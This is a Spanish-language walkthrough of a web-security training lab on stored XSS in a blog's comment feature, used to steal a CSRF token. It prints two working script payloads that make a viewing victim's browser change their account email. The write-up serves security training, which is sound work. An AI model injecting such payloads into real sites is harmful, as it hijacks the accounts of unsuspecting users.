XSS Lab 24
Skills
- Exploiting XSS to bypass CSRF defenses
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una vulnerabilidad de XSS almacenado
en la función de comentarios del blog
. Para resolver
el laboratorio, debemos explotar
la vulnerabilidad
para robar
un token CSRF
, que luego podemos usar para cambiar
la dirección de correo electrónico
de alguien que vea los comentarios
de la publicación
del blog
. Podemos iniciar sesión
en nuestra propia cuenta
utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Si pulsamos sobre My account
nos podemos loguear
con las credenciales wiener:peter
Vemos que podemos cambiar
nuestro email
Si capturamos
la petición
con Burpsuite
vemos que se envía el email
y el token CSRF
Si inspeccionamos
el código fuente
de la web también podemos ver el token CSRF
Si pulsamos sobre View post
vemos que tenemos una sección
en la que podemos hacer comentarios
Al hacer un comentario
nos mete el input
en unas etiquetas <p></p>
Sin embargo, si intentamos inyectar
algo entre etiquetas <h1></h1>
vemos que nos inyecta
las etiquetas
con su contenido
y deja las <p></p>
vacías
Si nos abrimos
el inspector
de Chrome
y le echamos un vistazo a las cookies
vemos que tienen las flags HttpOnly y Secure
. HttpOnly
nos impide acceder a la cookie a través de JavaScript
y Secure nos obliga a que la cookie solo se transmita a través de conexiones seguras HTTPS
Si vemos el código fuente
observamos que al publicar
un comentario
también existe un token CSRF
Para obtener el valor del token CSRF
podemos hacerlo con document.getElementsByName('csrf')[0].value
Aunque no podamos enviar información a nuestro servidor porque tiene las flags HttpOnly y Secure
podemos usar el XSS
para hacer que el usuario víctima cambie su email o publique un mensaje con sus cookies
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
window.addEventListener('DOMContentLoaded', function() {
var token = document.getElementsByName('csrf')[0].value;
var data = new FormData();
data.append('csrf', token);
data.append('email', 'evil@hacker.net');
fetch('/my-account/change-email', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
Otra alternativa
sería usar XMLHttpRequest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();
function handleResponse() {
var parser = new DOMParser();
var doc = parser.parseFromString(this.responseText, 'text/html');
var token = doc.querySelector('input[name="csrf"]').value;
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf=' + token + '&email=test@test.com');
};
</script>